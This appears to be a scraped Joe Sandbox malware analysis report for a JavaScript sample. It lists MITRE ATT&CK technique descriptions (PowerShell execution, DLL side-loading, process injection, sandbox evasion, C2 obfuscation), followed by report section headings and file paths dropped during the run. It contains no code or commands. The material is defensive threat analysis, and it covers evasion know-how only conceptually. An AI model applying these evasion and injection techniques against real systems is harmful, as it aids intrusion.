Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 31202109622954930860.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1e6176b8-bdc7-47ee-a72b-5037c97f4160.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4f200a.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\abd74cda-f98b-4097-a132-79bc647c1a52.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
31202109622954930860.js